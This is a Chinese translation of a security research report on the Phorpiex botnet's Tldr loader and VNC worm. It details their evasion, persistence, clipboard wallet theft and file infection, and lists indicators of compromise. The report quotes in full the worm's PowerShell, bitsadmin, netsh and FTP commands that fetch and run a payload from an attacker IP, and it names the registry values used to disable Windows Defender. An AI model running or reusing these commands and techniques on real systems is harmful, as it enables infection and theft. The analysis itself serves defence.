一、概述
截至目前,Phorpiex僵尸网络已经至少感染了1000000台Windows计算机。此前,我们曾经详细介绍了僵尸网络的架构、命令与控制基础结构以及加密劫持的方法,详细可以参考翻译文章《暴利营生的背后:揭秘Phorpiex僵尸网络的赚钱体系》、《肆虐的性勒索邮件,躺赚的Phorpiex botnet幕后人员》。
在本文中,我们将详细介绍该僵尸网络用于实现恶意模块的技术细节。
Phorpiex僵尸网络的核心部分是一个名为Tldr的加载工具。该加载工具负责将其他恶意模块和其他恶意软件加载到受感染的计算机。每个模块都是单独的Windows可执行文件。通常情况下,Phorpiex模块非常小并且非常简单。恶意软件配置一般会硬编码到恶意软件的可执行文件之中,在配置中通常包括C&C服务器地址、加密货币钱包和用于下载恶意Payload的URL。如果需要更新配置,僵尸网络操作员只需要将新模块加载到受感染的计算机即可。此外,这些模块会经常进行更新,并进行细微的更改。在2019年期间,我们观察到以下模块:
1、加载工具Phorpiex Tldr;
2、VNC蠕虫模块;
3、NetBIOS蠕虫模块;
4、XMRig Silent Miner挖矿恶意软件;
5、垃圾邮件模块:自我传播并进行性勒索;
6、辅助模块:包括针对特定地理位置的小型加载工具、清理模块。
我们需要强调的是,这些模块中的3个(Tldr、VNC蠕虫和NetBIOS蠕虫)包含允许恶意软件自行传播的功能。例如,Tldr具有文件感染型病毒的功能,并且能够感染其他文件。VNC蠕虫借助弱密码连接到VNC服务器,并尝试通过模拟用户输入来实现攻击。由于该僵尸网络使用了众多模块,因此这一僵尸网络在爆发之后迅速流行。
在这篇报告中,我们重点分析其中两个Phorpiex模块:
1、加载工具Phorpiex Tldr;
2、VNC蠕虫模块。
二、Phorpiex Tldr分析
Tldr(可能是“TrikLoader”的简称)是Phorpiex僵尸网络基础结构的关键部分之一。
Phorpiex Tldr PDB文件名:
当我们首次发现该恶意软件时,我们无法识别该恶意软件,也无从了解这一恶意软件于僵尸网络之间的关联性。但是,通过对其二进制代码、互斥锁名称和沙箱逃避技术进行分析,证明该恶意软件同样是由Phorpiex Trik IRC Bot幕后的网络犯罪分子所开发的。此外,我们在Trik的C&C服务器与Tldr的C&C服务器之间发现了几个共同点。
我们注意到存在大量的Phorpiex Tldr版本,每个版本都具有不同的功能。我们主要关注其中多个版本共同存在的功能,特别是最新版本(自2019年7月起)中添加的新功能。如前所述,Tldr恶意软件的主要目的是向受感染的计算机下载并执行其他模块和恶意软件。但是,这并不是唯一的功能。Tldr还具有自我传播的能力,其行为类似于蠕虫或文件感染型病毒,可以感染其他软件。
Phorpiex Tldr时间线:
2.1 逃避技术
Phorpiex Tldr使用简单的沙箱逃避技术。在启动后,它将调用GetModuleHandle() API函数检查是否在进程中加载了以下模块之中的一个:
· SBIEDLL.DLL
· SBIEDLLX.DLL
· WPESPY.DLL
· DIR_WATCH.DLL
· API_LOG.DLL
· DIR_WATCH.DLL
· PSTOREC.DLL
然后,它会枚举正在运行的进程并检查进程文件名是否为以下之中的一个:
· VBOXSERVICE.EXE
· VBOXTRAY.EXE
· VMTOOLSD.EXE
· VMWARETRAY.EXE
· VMWAREUSER
· VMSRVC.EXE
· VMUSRVC.EXE
· PRL_TOOLS.EXE
· XENSERVICE.EXE
老版本的Tldr(TldrV3,2018年5月)还会检查以下进程:
· python.exe
· pythonw.exe
· prl_cc.exe
· vboxservice.exe
· vboxcontrol.exe
· tpautoconnsvc.exe
最后,Tldr调用IsDebuggerPresent() API函数,以检查是否正在调试恶意软件。
如果其中一项检查没有通过,则Tldr会停止执行。
2.2 初始化
初始化步骤与Phorpiex Trik的初始化步骤非常相似。
为防止运行Phorpiex Tldr的多个实例,恶意软件会创建一个具有特定硬编码名称的互斥锁。较早的版本使用包含版本号的互斥锁名称,例如“TldrV3”。在最新版本,每个恶意软件系列的互斥量名称不同。通常,它由几位数字组成,例如“6486894”。
不同版本的Tldr使用的互斥锁名称:
对于所有的Phorpiex样本来说,下一个步骤都是相通的:删除“:Zone.Identifier”备份数据流。执行此操作的原因是为了消除文件来源不受信任的追踪标记。
此外,自2019年7月起的版本(Tldr v5.0)具有Debug特权。
自2019年7月起版本的Tldr开始获取Debug特权:
2.3 持久性
Tldr将自身复制到以下文件夹:
%windir% %userprofile% %systemdrive%(仅适用于2019年7月以后的版本) %temp%
对于Phorpiex Tldr V3,选择路径和文件名的过程几乎与Phorpiex Trik所使用的过程相同。Tldr在这些路径下创建一个子文件夹,该子文件夹的硬编码名称以“T-”开头(在Phorpiex Trik中,名称以“M-”开头)。然后,恶意软件将其可执行文件复制到硬编码文件名下的已创建文件夹中。例如:
C:\WINDOWS\T-9759504507674060850740\winsvc.exe
与Phorpiex Tldr v3不同,较新的版本仅在文件名不包含“sys”子字符串的情况下才设置持久性。然后,它使用从随机数字生成的子文件夹名称和以“sys”开头的文件名,后面接着4个随机字母。
生成用于设置持久性的文件名:
因此,新的文件名如下所示:
C:\WINDOWS\2813528135\sysjekp.exe
Phorpiex Tldr为创建的文件和子文件夹设置如下属性:
FILE_ATTRIBUTE_READONLY FILE_ATTRIBUTE_HIDDEN FILE_ATTRIBUTE_SYSTEM
然后,该恶意软件使用以下键,为每个创建的副本设置注册表自动运行条目:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
Tldr使用硬编码名称创建一个新的注册表值。在我们研究的样本中,该名称为“Windows Operating System”。
Phorpiex Tldr自动运行注册表值:
此外,它通过在注册表项下创建一个新值的方式,来添加防火墙例外:
SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\
Phorpiex Tldr防火墙例外:
2.4 绕过Windows安全性
从2019年7月开始的Phorpiex Tldr版本(Tldr v5)通过设置以下注册表值来禁用Windows安全功能,例如Windows Defender、安全通知和系统还原。
Tldr v5修改的注册表值:
注册表键:HKLM\SOFTWARE\Policies\Microsoft\Windows Defender
注册表值:“DisableAntiSpyware”= 1
注册表键:HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
注册表值:“DisableBehaviorMonitoring” = 1
“DisableOnAccessProtection” = 1
“DisableScanOnRealtimeEnable” = 1
注册表键:HKLM\SOFTWARE\Microsoft\Security Center
HKLM\SOFTWARE\Microsoft\Security Center\Svc
注册表值:“AntiVirusOverride” = 1
“UpdatesOverride” = 1
“FirewallOverride” = 1
“AntiVirusDisableNotify” = 1
“UpdatesDisableNotify” = 1
“AutoUpdateDisableNotify” = 1
“FirewallDisableNotify” = 1
注册表键:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
注册表值:“DisableSR” = 1
较早版本的Tldr仅禁用反间谍软件。
三、主要功能
对于每个恶意活动,Phorpiex Tldr都会创建一个单独的线程。
3.1 加密货币剪贴板线程
几乎所有样本都包含用于窃取加密货币的功能。这是通过更改受感染系统剪贴板中的加密货币钱包的地址来完成的。
恶意软件会无限循环,每隔200毫秒通过调用API函数OpenClipboard(0)和GetClipboardData(CF_TEXT)查询剪贴板数据。
为了确定剪贴板中是否包含加密钱包地址,Phorpiex Tldr执行以下检查:
1、第一个字符是以下字符之一:1、3、q、2、X、D、0、L、4、P、t、z、G、U、E。
2、剪贴板的长度在25到45个字符之间,或9个字母,或90至115个字母之间。
3、剪贴板数据不应包含字母:O(0x4F)、I(0x49)、l(0x6C)。
4、剪贴板数据应该仅包含数字和字母。
如果上述任何检查失败,剪贴板将保持不变。否则,它将确定一种加密货币钱包地址的类型,并将其更改为硬编码值之中的一个。
Phorpiex Tldr通过剪贴板数据的第一个字符来确定具体的区块链类型。
Phorpiex使用的加密货币钱包:
Phorpiex支持以下加密货币:
· Bitcoin
· Bitcoin Cash
· Ethereum
· DASH
· Dogecoin
· Litecoin
· Monero
· Zcash
Crypto Clipper还可以支持替换Perfect Money钱包(黄金、美元、欧元)的地址。
最后,通过调用SetClipboardData(CF_TEXT, new_value)将新的数据发送回剪贴板。
3.2 自我传播线程
在该线程中,实现了文件型蠕虫的功能。
在延迟2秒的无限循环中,Tldr使用GetLogicalDrives枚举可用的驱动器。它会读取“Software\Microsoft\Windows\CurrentVersion\Policies\Explorer”注册表值“NoDrives”并从枚举中排除由NoDrives Windows资源管理器策略禁用的驱动器。
然后,Tldr仅选择可移动驱动器和远程驱动器。在每个选定的驱动器上,它将创建一个名为“__”的文件夹,并为创建的文件夹设置FILE_ATTRIBUTE_READONLY、FILE_ATTRIBUTE_HIDDEN和FILE_ATRRIBUTE_SYSTEM属性,以使其在资源管理器中默认为不可见。
恶意软件会使用硬编码名称(在我们的样本中为“DriveMgr.exe”)将自身复制到此文件夹中。Tldr获取所选驱动器的卷名称。然后,它在带有目标的所选驱动器的根文件夹中创建一个名称为“{volume_name}.lnk”的快捷方式:
%windir%\system32\cmd.exe /c start __ & __\DriveMgr.exe & exit
然后,Tldr将所有文件夹从所选驱动器的根路径移动到文件夹“__”。它还会删除根路径中具有以下扩展名的所有文件:
*.lnk、*.vbs、*.bat、*.js、*.scr、*.com、*.jse、*.cmd、*.pif、*.jar、*.dll、*.vbe、*.inf”
Tldr在可移动驱动器上删除的文件扩展名:
这样做的原因我们推测可能是禁用在同一个可移动驱动器上的所有其他蠕虫。
我们可以看到,其行为与使用可移动驱动器进行传播的其他蠕虫相同。
但是,在Tldr v5.0中,引入了一项新功能,该功能允许恶意软件充当文件感染型病毒并感染其他可执行文件。此前,Phorpiex使用单独的模块来感染其他软件。
该恶意软件会扫描可移动驱动器和远程驱动器上的所有文件夹,并感染所有尚未感染的.exe文件。
为了感染另一个PE文件,Tldr执行以下修改:增加PE文件头中段的数量,并将头部的TimeDateStamp值设置为0x0000DEAD。
Tldr用于标记受感染文件的时间戳签名:
恶意软件还使用TimeDateStamp中的值0x0000DEAD来检测文件是否已经被感染。0x0000DEAD值转换为时间戳是1970-01-01 15:50:05。因此,使用以下查询可以在VirusTotal上轻松找到受感染的样本:
pets:1970-01-01T15:50:05
Tldr还会创建一个名为“.zero”的新代码段,并将恶意Payload复制到该段中。修改入口点地址以指向所创建段的开头。标头的SizeOfImage值增加所添加部分的长度。该恶意软件不会重新计算校验和,仅仅会将其重置为0。
原始文件和受感染文件的比较:
为了创建用于调用原始入口点的适配器,恶意软件在主注入代码中写入其相对地址。
模板和受感染样本中相同函数的比较:
Tldr使用值0xCCCCCCCC,在模板函数中查找应该放置原始入口点地址的位置。
设置被感染样本中的入口点地址:
3.3 恶意Shellcode
插入到受感染文件中的Shellcode中包含几个不同的函数,其中包含位置随机的代码。
这意味着,函数不使用绝对地址,并且无论放在在任何内存位置时都能正确运行。
首先,Shellcode会检查文件“%appdata%\winsvcs.txt”是否存在。该文件由Phorpiex Tldr创建。如果该文件存在,则Shellcode不会执行任何操作,只是将控制权传递给感染程序的原始入口点。否则,它将从硬编码的URL下载并执行另一个文件。
被感染样本中的部分Shellcode:
使用API函数URLDownloadToFileW将文件下载到临时文件。使用函数GetTempPathW和GetTempFileNameW可以获取临时文件的名称。如果文件下载成功,则Shellcode将从该文件中删除“:Zone.Identifier”ADS,并使用CreateProcessW执行该文件。
最后,控件被传递到受感染程序的原始入口点。
3.4 C&C Check-in线程
在首次运行时,Phorpiex Tldr使用C&C服务器的硬编码列表对其C&C服务器执行Check-in HTTP请求。
Phorpiex C&C服务器的硬编码URL:
Tldr为每个C&C服务器创建一个线程。在启动线程之前,恶意软件会创建一个空文件“%appdata%\winsvcs.txt”。该文件将作为用于确定恶意软件是否是首次运行的标志。如果该文件已经存在,则不会创建线程。
在每个线程中,恶意软件都会查询以下URL:
http:///t.php?new=1
在其他样本中,我们还看到了不同格式的URL。例如:
http:///tldr.php?new=1 http:///tldr.php?on=1 http:///tldr.php?new=1&id=http:///tldr.php?new=1&on=
为了执行Check-in请求,Phorpiex Tldr对用户代理标头使用特定的硬编码值。从2019年7月的版本开始,UA是:
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
而在较旧版本中,使用的UA值是:
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
因此,生成的HTTP请求如下所示。
Phorpiex C&C Check-in请求:
C&C Check-in功能不是必须的,并且没有在所有样本中都存在。
3.5 主线程
Phorpiex Tldr的主要目的是在受感染的主机上下载并执行其他恶意Payload。它使用多个硬编码的路径(通常是4-8个)来创建用于下载文件的URL。
Phorpiex Tldr在C&C服务器上访问的硬编码路径:
生成的URL如下所示:
http:///1.exe http:///2.exe …
对于每个生成的URL,恶意软件首先使用API函数InternetOpenUrlA和HttpQueryInfoA检查其可用性和内容的大小。如果URL可用,则Tldr会记住每个路径的内容大小。如果内容大小与先前的值相同,则会跳过URL,从而防止重复下载同一个Payload。
如果URL可用并且是首次被请求,或者其内容长度与先前的值不同,则Tldr将下载并执行该URL。下载的文件保存在%temp%文件夹下,名称为:
“%d.exe” % random.randint(10000, 40000)
例如:
%temp%\23874.exe
Tldr会使用InternetOpenUrlW/InternetReadFile,执行两次下载文件的尝试。如果第一次尝试失败,则会换用URLDownloadToFileW。
在下载文件后,Phorpiex Tldr删除其备份数据流“:Zone.Identifier”。然后,它将使用CreateProcess两次尝试执行下载的文件。如果第一次尝试失败,则会换用ShellExecute。
以上操作都是在无限循环中执行,每两次循环之间有1-600秒的随机延迟。
有趣的是,这样的加载程序实现非常不安全。任何注册了旧版本Phorpiex Tldr中硬编码的域名的人都可以在受感染的主机上上传并执行任何软件。但是,最新的Tldr版本(v5)实现了重大改进,避免了这种情况的可能性。
新版本使用RC4和RSA-SHA1签名验证的文件加密方式。数字签名使恶意软件可以验证下载样本的完整性和真实性。
加密文件的标头包含魔术字节(“NGS!”)、RSA签名的长度以及用于验证文件的RSA签名。RSA签名的前16个字节用于RC4解密密钥。
从Phorpiex C&C服务器下载的加密文件的格式:
Phorpiex Tldr使用文件中的16字节RC4密钥解密数据,然后计算解密文件的SHA1哈希值。为了验证数字签名,Tldr使用硬编码到样本中的4096位RSA公钥。
硬编码的RSA公钥:
如果签名验证失败,则不执行该文件。这意味着Phorpiex Tldr仅接受特定RSA私钥签名的文件。
四、Phorpiex VNC蠕虫模块
我们在Phorpiex武器库中发现的另一个模块是恶意的VNC客户端。该模块没有自己的持久性机制,通常每次都会由Tldr执行。这种小型的恶意软件会扫描随机IP地址,以查找开放的VNC服务端端口(5900),并使用硬编码的密码列表进行暴力破解。该攻击的最终目标是在目标主机上加载并执行另一种恶意软件(通常是Phorpiex Tldr)。
Phorpiex VNC蠕虫在执行的最开始,进行了API炸弹沙箱逃避技术。实际上,是在循环中执行对多个函数的大量无意义的调用。
API炸弹逃避技术:
该恶意软件通过使用具有硬编码名称的互斥锁来防止在多个实例中多次执行。
攻击本身是无限循环进行的,使用rand()函数随机生成用于扫描的IP地址,并将GetTickCount()结果作为随机种子。IP地址的唯一过滤规则是不能以127、172或192开头。实际上,将创建一个单独的线程来与每个IP地址进行通信。
如果尝试成功连接到TCP/5900端口,则VNC蠕虫会使用密码列表对发现的VNC服务器进行暴力破解。
用于VNC暴力破解的密码列表:
在不同样本中,密码列表可能有所不同。
如果攻击成功,则可以使用以下格式的URL(URL模板硬编码到恶意软件样本中)将结果报告给C&C服务器:
hxxp://92.63.197.153/result.php?vnc=%s|%s” % (host, password)
在我们所研究的样本中,即使存在URL,也会禁用报告功能。
最后,Phorpiex VNC蠕虫通过VNC协议模拟键盘输入,在受害者的计算机上执行多个脚本。首先,它使用Win+R打开“运行”窗口。然后,通过发送相应的VNC数据包来实现脚本内容的“输入”。
攻击说明,使用VNC命令模拟的用户输入:
通常情况下,会执行以下脚本:
cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile(‘http://92.63.197.153/vnc.exe’,’%temp%\48303045850.exe’);Start-Process ‘%temp%\48303045850.exe’ cmd.exe /c bitsadmin /transfer getitman /download /priority high http://92.63.197.153/vnc.exe %temp%\49405003030.exe&start %temp%\49405003030.exe cmd.exe /c netsh firewall add allowedprogram C:\Windows\System32\ftp.exe “ok” ENABLE&netsh advfirewall firewall add rule name=”ok” dir=in action=allow program=”C:\Windows\System32\ftp.exe” enable=yes cmd.exe /c “cd %temp%&@echo open 92.63.197.153>>ftpget.txt&@echo tom>>ftpget.txt&@echo hehehe>>ftpget.txt&@echo binary>>ftpget.txt&@echo get vnc.exe>>ftpget.txt&@echo quit>>ftpget.txt&@ftp -s:ftpget.txt&@start vnc.exe”
这样一来,Phorpiex VNC蠕虫会迫使受害者的计算机借助HTTP或FTP协议从服务器下载并执行由恶意软件攻击者控制的恶意样本。从脚本源代码可以看到,该恶意软件使用硬编码的凭据访问FTP服务器:
· USER tom
· PASS hehehe
我们观察到,受害者从以下位置下载Payload:
ftp://tom:[email protected][.]153/vnc.exe ftp://tom:[email protected][.]153/ohuh.exe http://92.63.197[.]153/vnc.exe http://92.63.197[.]153/ohuh.exe
Phorpiex僵尸网络通常使用该模块进行自我传播和勒索软件的传播。
五、威胁指标
Phorpiex Tldr:
383498f810f0a992b964c19fc21ca398 2018年5月28日12:51:34 Tldr v1.0
11ced3ab21afbeff6ce70d1f4b6e5fc7 2018年6月14日00:31:27 Tldr v2.0
8e12c260a0cdc4e25a39ec026214bf99 2018年10月25日00:08:30 Tldr v3.0
51d0c623f263260bd52f9ebeb00dae00 2019年7月9日13:56:40 Tldr v4
3282f6c806a89359ec94f287cf6c699c 2019年7月18日01:08:07 Tldr v5
Phorpiex Tldr C&C IP和域名:
185.176.27.132
193.32.161.69
193.32.161.73
193.32.161.77
92.63.197.153
92.63.197.38
92.63.197.59
92.63.197.60
94.156.133.65
aiiaiafrzrueuedur.ru
fafhoafouehfuh.su
ffoeefsheuesihfo.ru
osheoufhusheoghuesd.ru
ouhfuosuoosrhzfzr.ru
slpsrgpsrhojifdij.ru
unokaoeojoejfghr.ru
b0t.to
thaus.to
thaus.top
Phorpiex Tldr相关的URL:
hxxp://185.176.27[.]132/a.exe
hxxp://aiiaiafrzrueuedur.ru/o.exe
hxxp://185.176.27[.]132/1
hxxp://185.176.27[.]132/2
hxxp://185.176.27[.]132/3
hxxp://185.176.27[.]132/4
hxxp://185.176.27[.]132/5
hxxp://185.176.27[.]132/6
hxxp://185.176.27[.]132/7
hxxp://193.32.161[.]69/1.exe
hxxp://193.32.161[.]69/2.exe
hxxp://193.32.161[.]69/3.exe
hxxp://193.32.161[.]69/4.exe
hxxp://193.32.161[.]69/5.exe
hxxp://193.32.161[.]69/6.exe
hxxp://193.32.161[.]69/7.exe
hxxp://193.32.161[.]69/ya.exe
hxxp://193.32.161[.]73/1
hxxp://193.32.161[.]73/2
hxxp://193.32.161[.]73/3
hxxp://193.32.161[.]73/4
hxxp://193.32.161[.]73/5
hxxp://193.32.161[.]73/6
hxxp://193.32.161[.]73/s.exe
hxxp://193.32.161[.]77/11.exe
Phorpiex VNC蠕虫:
28436a88ee38c5f3b50ffe6ae250b358 hxxp://92.63.197.38/4.exe
262148aee0263d710fad294da40f00fc hxxp://92.63.197.60/5.exe
33da71f4068bb396ecd1010132abad00 hxxp://92.63.197.153/4.exe
6fad1536ab4a9ab46d054ad76996b2d6 hxxp://92.63.197.153/3.exe
Check Point反僵尸网络将上述威胁检测为:
Worm.Win32.Phorpiex.C
Worm.Win32.Phorpiex.D
Worm.Win32.Phorpiex.H
本文翻译自:https://research.checkpoint.com/2020/phorpiex-arsenal-part-i/如若转载,请注明原文地址